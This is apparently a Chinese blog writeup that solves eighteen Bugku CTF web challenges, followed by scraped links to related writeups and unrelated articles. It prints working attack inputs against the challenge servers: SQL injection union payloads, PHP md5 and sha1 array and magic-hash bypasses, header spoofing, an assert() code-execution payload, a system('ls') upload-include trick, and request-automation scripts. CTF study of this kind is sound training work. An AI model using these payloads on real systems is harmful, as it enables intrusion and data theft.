2019.2.10

过年休息归来,继续做题。

bugku的web题,地址:https://ctf.bugku.com/challenges

1.

http://123.206.87.240:8002/web16/

提示是备份,不由自主想到bak。这里可以扫路径或者自己多试试:

http://123.206.87.240:8002/web16/index.php.bak 就是备份,直接保存下来。

打开后是一段源代码:

大概意思就是,获取key1和key2,但是会过滤掉你输入的key。

然后如果两个key的md5相等,且两个key本身不相等,就会打印出flag的值。

在这里可以用 kekeyy1 和 kekeyy2来绕过这个过滤。

而在php中,md5函数无法处理数组,返回的都是null,两个null也是相等。

所以构造payload:

http://123.206.87.240:8002/web16/?kekeyy1[]=sss&kekeyy2[]=xxx

(key后面的值随便写就ok)

Bugku{OH_YOU_FIND_MY_MOMY}

2.

http://123.206.87.240:8002/chengjidan/

输入1的时候是这样(这个submit是post方式)

加个'

这里猜下,总共四列 (名字,三科目)

1' union select 1,2,3,4#

都有回显,于是 构造 -1' union select 1,2,3,database()#   (用1爆不出来)

获取数据库名称:

之后通过 -1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#  得到表名fl4g,sc

然后获取flag中的字段,这里需要16进制绕过一下:

-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c3467#

所以我们最终要获取的就是 skctf_flag数据库中 fl4g表中 skctf_flag字段的值。

构造payload;

-1' union select 1,2,3,skctf_flag from fl4g#
BUGKU{Sql_INJECT0N_4813drd8hz4}
3.
http://123.206.87.240:8002/qiumingshan/

这道题应该就是 脚本提交post数据的方式,还需要在两秒内。就得获取页面上的数字和运算法则。

所以直接脚本:

mport requests
import re
url = 'http://123.206.87.240:8002/qiumingshan/'
s = requests.Session()
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
result = eval(expression)
post = {'value': result}
print(s.post(url, data = post).text)  

 其中用到正则表达式,其实就是匹配 十进制数加上四则运算符号加上十进制数 这样的形式。
然后直接用python 内置的 eval方法,可以直接把文本提取为计算式。
至于为什么要post value,可以多刷新几遍网页:
最后运行脚本:

Bugku{YOU_DID_IT_BY_SECOND}

4.
http://123.206.87.240:8002/web6/
查看页面源代码也没什么值得注意的,抓包试试。

放到repeater中 go一下试试:

多go几次,发现每次的flag都不一样。做到这步大概就是得写脚本了。思路就是 提取 header中的flag值,然后构造 margin = flag值 这样的数据,post一下,获得返回内容就能得到flag。

脚本:

import requests
import base64
url = 'http://123.206.87.240:8002/web6/'
req = requests.session()
res = req.get(url)
flag = res.headers['flag']
txt = base64.b64decode(flag)
txt = txt[txt.index(":") + 2:]
txt = base64.b64decode(txt)
data = {'margin': txt}
ans = req.post(url, data)
print ans.content  
 
这里要注意的是,flag是base64加密,解密后还是一个base64,需要进行两次解密。 这个在py2.x可以运行,py3需要将byte与str进行转换。
5.

http://123.206.87.240:8002/web11/

打开后这样,字符没什么意义,页面源代码也没其他的东西。

看url  filename后面的好像是base64编码:

解码:

那就根据这个原理访问其他页面,比如要访问index.php,就先把它base64加密:

filename =aW5kZXgucGhw

访问后页面是空的,查看源代码是这样的:

猜想大概是这个 line= 起到作用,

不妨写个脚本跑出来所有代码:

import requests
a=30
for i in range(a):
url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
s=requests.get(url)
print s.text

  

得到的代码:

<?php

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

  从代码后半段可以看到,有一个keys.php的页面,应该是我们想要的。而且还有个判断,就是我们的cookies 要等于 margin

keys.php base64加密后:a2V5cy5waHA=

抓个包,然后放到repeater里面go一下:

KEY{key_keys}

6.

http://123.206.87.240:8006/test/hello.php

打开后查看源代码:

然后直接访问 ...../test/1p.html  (查看源代码的页面 view code)

发现一段base64 解密:

解密后是段php:

";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
} ?>

  尝试直接访问 f412a3g.txt (还是上面的那种访问方式)

...../test/f412a3g.txt

flag{tHis_iS_THe_fLaG}

7.

http://123.206.87.240:8010/


打开后没什么可利用的信息,那就好好看看给的提示:

<?php
$poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
$poc_2($_GET['s'])
?>

exlpde()分割a#s#s#e#r#t为assert,使用assert()函数的解析传进来的s串,assert有代码执行漏洞。

所以这里构造payload:

?s=print_r(scandir('./'))  (扫描当前目录并按数组形式输出)

这里直接访问 f94lag.txt就行了:

BUGKU{bugku_web_009801_a}

8.

对于正则表达式我是不了解的。。。详情学习了这篇文章,写得非常的细致:

https://blog.csdn.net/qq_26090065/article/details/81605837

key is: KEY{0x0SIOPh550afc}

9.

http://123.206.31.85:49162/

打开后不禁想起了自己的前女友=。=。。。

查看页面源代码:

打开这个code.txt

和之前的一道题蛮像的,还是php 中md5函数无法对数组进行运算。

构造payload:http://123.206.31.85:49162/?v1[]=1&v2[]=2&v3[]=3

SKCTF{Php_1s_tH3_B3St_L4NgUag3}

10.

http://123.206.31.85:49163/

sql约束攻击 大多就是 字符串长度的约束
比如 user = admin 1
和 uset = admin 会被数据库识别成一样的 (看它的约束条件是什么样)

所以这道题,先注册一个 admin 的账号(有个空格,你注册几个空格的都可以)

然后用admin登陆,用你注册的密码就行了:

SKCTF{4Dm1n_HaV3_GreAt_p0w3R}

11.


http://123.206.87.240:9009/from.php

打开后这样:

看页面源代码也没别的东西,猜测是抓包改下头部什么的,改成外国的,或者谷歌啥的。

这里抓包,修改 Referer 为 https://www.google.com 就行了:

flag{bug-ku_ai_admin}

12.

这里找了下 md5碰撞的原理:

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

攻击者可以利用这一漏洞,通过输入一个经过哈希后以”0E”开头的字符串,即会被PHP解释为0,如果数据库中存在这种哈希值以”0E”开头的密码的话,他就可以以这个用户的身份登录进去,尽管并没有真正的密码。

0e开头的md5和原值:

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

所以构造a= 以上的一种 就可以:

比如:

http://123.206.87.240:9009/md5.php?a=s878926199a

flag{md5_collision_is_easy}

13.

http://123.206.87.240:8002/localhost/

页面源代码没有东西。他既然说本地访问了,那就抓个包 用 X-Forward-For: 127.0.0.1试试;

flag{loc-al-h-o-st1}

14.

http://123.206.87.240:8002/web7/

代码意思就是,id需要等于margin,然后用户名和密码不能相同,但是sha1后要相同(类似于md5)

所以还是用数组的方式绕过,要注意passwd 是需要post的,所以需要用到hackbar:

Flag: flag{HACK_45hhs_213sDD}

15.

打开后这样:

刚开始以为题目坏了。。看到最近也有人解答出来,就知道事情不简单。

扫下后台把,发现了robot.txt

进入这个 resus1.php:

下面很明显,x需要等于password才行。

蒙一个admin:

搞定:

flag(ctf_0098_lkji-s)

16.

因为比较懒,直接尝试sqlmap 跑 forms形式的:

flag{ed6b28e684817d9efcaf802979e57aea}

17.

查看页面代码注释:

这里上传文件包含的php (用图片马什么的不好使。。。)

<script language=php>system("ls")</script>   新建一个文档,然后改成jpg后缀。

然后访问这个地址,要注意还是用 file= 的方式:

然后直接访问那个 长长的文件就行了:

SKCTF{uP104D_1nclud3_426fh8_is_Fun}

18.

刚开始以为是sql注入,查路径什么的,看源代码也都没有,login点了确实没反应。

后来才知道,原来是传参,/?hint=1

这里有个坑就是 key不是下面那一串,判断的时候也 key的值是 NULL 也就是 cookie要等于 NULL的序列化的结果:

所以就抓下包,然后改cookie 就好了:

flag{unserialize_by_virink}

写到这。。。剩下题也太难了8.。。

ctf题目writeup(7)的更多相关文章

  1. ctf题目writeup(9)

    继续刷题,找到一个 什么 蓝鲸安全的ctf平台 地址:http://whalectf.xin/challenges (话说这些ctf平台长得好像) 1. 放到converter试一下: 在用十六进制转 ...

  2. ctf题目writeup(6)

    2019.2.2 依旧是bugku上面的题目,地址:https://ctf.bugku.com/challenges 1. 解压后是60多个out.zip,都是真加密,里面都是1kb的data.txt ...

  3. ctf题目writeup(5)

    2019.2.1 今天继续bugku的隐写杂项题:题目链接:https://ctf.bugku.com/challenges 1. 这道题下载后用wireshark打开...看了好久也没看出个所以然, ...

  4. ctf题目writeup(4)

    2019.1.31 题目:这次都是web的了...(自己只略接触隐写杂项web这些简单的东西...) 题目地址:https://www.ichunqiu.com/battalion 1. 打开链接: ...

  5. ctf题目writeup(1)

    2019/1/28 题目来源:爱春秋 https://www.ichunqiu.com/battalion?t=1 1. 该文件是一个音频文件: 首先打开听了一下,有短促的长的....刚开始以为是摩斯 ...

  6. ctf题目writeup(8)

    2019.2.11 南京邮电的ctf平台: 地址http://ctf.nuptzj.cn/challenges# 他们好像搭新的平台了...我注册弄了好半天... 1. 签到题,打开网址: 查看一下页 ...

  7. ctf题目writeup(3)

    题目地址: https://www.ichunqiu.com/battalion 1. 这个是个mp3,给的校验是为了下载下来的. 下来之后丢进audicity中 放大后根据那个音块的宽度来确定是 . ...

  8. ctf题目writeup(2)

    2019.1.29 题目地址: https://www.ichunqiu.com/battalion 1. 点开链接: include "flag.php";$a = @$_REQ ...

  9. 攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup

    攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup 题目介绍 题目考点 模板注入 Writeup 进入题目 import flask import os a ...

随机推荐

  1. SQL Server ->> 重新创建Assembly和自动重建相关的数据库编程对象(存储过程,函数和触发器)

    在SQL Server中,一旦一个Assembly被其他的数据库编程对象(存储过程,函数和触发器)引用了,这个Assembly就不能被删除.但是问题是,在SQL Server要更新一个Assembly ...

  2. Hadoop ->> MapReduce编程模型

    对于MapReduce模型的实现,有Java等一些语言实现了接口,或者用像Hive/Pig这样的平台来操作.MapReduce由Map函数.Reduce函数和Main函数实现.第一步,源数据文件按默认 ...

  3. March 1 2017 Week 9 Wednesday

    If you are serious giving up something, giving up is not serious at all. 如果你慎重地决定要放弃,那么放弃本身就没什么大不了的. ...

  4. pip 安装下载好的tensorflow

    pip --default-timeout=100 install C:\Users\Administrator\Downloads\tensorflow-1.12.0-cp37-cp37m-win_ ...

  5. 转 tcp协议里rst字段讲解

    TCP协议的原理来谈谈rst复位攻击 http://russelltao.iteye.com/blog/1405349 几种TCP连接中出现RST的情况 https://blog.csdn.net/c ...

  6. 2018.11.18 Sturts2配置详解&常量配置进阶

    1.基于struts.xml 的节点参数配置 package节点 action节点 result节点 include节点 2.struts常量配置以及如何修改为自己的想要的配置 2.1struts默认 ...

  7. 2018.10.30 mac环境下卸载和安装mysql及安装过程遇到的一些问题解决方案

    Mac下mysql的安装与卸载 配置初始化密码修改 第一:首先去官网网站下载Mysql软件 https://downloads.mysql.com/archives/community/ 记住选择对应 ...

  8. 去掉video视频播放器下的下载按钮

    去掉video视频播放器下的下载按钮: video::-internal-media-controls-download-button { display:none; } video::-webkit ...

  9. Swift_Set详解

    Swift_Set详解 点击查看源码 初始化 //初始化 fileprivate func testInit() { //空Set var set = Set<String>() prin ...

  10. swift计算label动态宽度和高度

    swift计算label动态宽度和高度 func getLabHeigh(labelStr:String,font:UIFont,width:CGFloat) -> CGFloat { let ...